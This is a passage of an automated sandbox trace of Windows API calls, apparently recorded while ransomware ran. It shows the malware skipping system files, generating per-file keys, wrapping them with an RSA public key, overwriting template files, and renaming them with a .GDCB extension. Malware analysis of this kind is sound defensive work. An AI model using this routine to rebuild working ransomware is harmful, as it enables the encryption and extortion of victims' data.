analysis.xltm", lpString2=".") returned 1 [0054.392] lstrcmpW (lpString1="Cashflow analysis.xltm", lpString2="..") returned 1 [0054.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" [0054.392] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.392] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80 [0054.392] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80 [0054.392] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80 [0054.392] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="desktop.ini") returned -1 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="autorun.inf") returned 1 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="ntuser.dat") returned -1 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="iconcache.db") returned -1 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="bootsect.bak") returned 1 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="boot.ini") returned 1 [0054.392] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="ntuser.dat.log") returned -1 [0054.393] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="thumbs.db") returned -1 [0054.393] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="GDCB-DECRYPT.txt") returned -1 [0054.393] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm")) returned 0x20 [0054.393] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", dwFileAttributes=0x20) returned 1 [0054.393] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.393] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" [0054.393] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB" [0054.393] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58ff08) returned 1 [0054.394] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.394] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.394] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.394] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.394] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.394] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.395] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.395] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.395] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.395] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.395] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.395] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.395] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.395] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.395] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58ff08) returned 1 [0054.398] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b87f0) returned 1 [0054.398] CryptGetKeyParam (in: hKey=0x5b87f0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.398] CryptEncrypt (in: hKey=0x5b87f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.398] GetLastError () returned 0x0 [0054.398] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.398] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.399] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8770) returned 1 [0054.400] CryptGetKeyParam (in: hKey=0x5b8770, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.400] CryptEncrypt (in: hKey=0x5b8770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.400] GetLastError () returned 0x0 [0054.400] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.400] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.400] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.400] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.400] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x5cc66, lpOverlapped=0x0) returned 1 [0054.407] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc70, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.410] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc70, flAllocationType=0x3000, flProtect=0x4) returned 0x2a10000 [0054.414] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.415] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-380006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.415] WriteFile (in: hFile=0x4fc, lpBuffer=0x2a10000*, nNumberOfBytesToWrite=0x5cc70, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2a10000*, lpNumberOfBytesWritten=0x285ed30*=0x5cc70, lpOverlapped=0x0) returned 1 [0054.416] VirtualFree (lpAddress=0x2a10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.417] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.420] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.420] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.420] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.420] CloseHandle (hObject=0x4fc) returned 1 [0054.424] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.424] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.424] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.424] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm.gdcb")) returned 1 [0054.426] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.426] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.426] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.426] lstrcmpW (lpString1="Email Insights.xltm", lpString2=".") returned 1 [0054.426] lstrcmpW (lpString1="Email Insights.xltm", lpString2="..") returned 1 [0054.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Email Insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" [0054.426] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.426] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77 [0054.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77 [0054.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77 [0054.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="desktop.ini") returned 1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="autorun.inf") returned 1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="ntuser.dat") returned -1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="iconcache.db") returned -1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="bootsect.bak") returned 1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="boot.ini") returned 1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="ntuser.dat.log") returned -1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="thumbs.db") returned -1 [0054.426] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="GDCB-DECRYPT.txt") returned -1 [0054.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm")) returned 0x20 [0054.427] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm", dwFileAttributes=0x20) returned 1 [0054.427] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.427] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" [0054.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB" [0054.427] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.428] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.428] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.428] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.428] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.428] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.428] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58ff08) returned 1 [0054.429] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.429] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.429] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.429] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.429] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.429] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.429] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.430] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58ff08) returned 1 [0054.431] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b88f0) returned 1 [0054.431] CryptGetKeyParam (in: hKey=0x5b88f0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.431] CryptEncrypt (in: hKey=0x5b88f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.432] GetLastError () returned 0x0 [0054.432] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.432] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.433] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8630) returned 1 [0054.433] CryptGetKeyParam (in: hKey=0x5b8630, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.433] CryptEncrypt (in: hKey=0x5b8630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.434] GetLastError () returned 0x0 [0054.434] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.434] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.434] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.434] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.434] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0xb431d, lpOverlapped=0x0) returned 1 [0054.442] VirtualAlloc (lpAddress=0x0, dwSize=0xb4320, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.447] VirtualAlloc (lpAddress=0x0, dwSize=0xb4320, flAllocationType=0x3000, flProtect=0x4) returned 0x2a70000 [0054.456] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.458] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-738077, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.458] WriteFile (in: hFile=0x4fc, lpBuffer=0x2a70000*, nNumberOfBytesToWrite=0xb4320, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2a70000*, lpNumberOfBytesWritten=0x285ed30*=0xb4320, lpOverlapped=0x0) returned 1 [0054.460] VirtualFree (lpAddress=0x2a70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.462] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.465] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.465] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.465] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.465] CloseHandle (hObject=0x4fc) returned 1 [0054.472] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.472] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.472] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.472] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm.gdcb")) returned 1 [0054.473] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.473] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.473] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.473] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.473] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt" [0054.473] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.473] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0054.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0054.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0054.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.474] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.474] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.474] lstrcmpW (lpString1="LiveContent", lpString2=".") returned 1 [0054.474] lstrcmpW (lpString1="LiveContent", lpString2="..") returned 1 [0054.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0054.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\" [0054.474] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.474] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned 70 [0054.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*" [0054.474] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85b0 [0054.476] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.476] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.476] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.476] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.476] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: 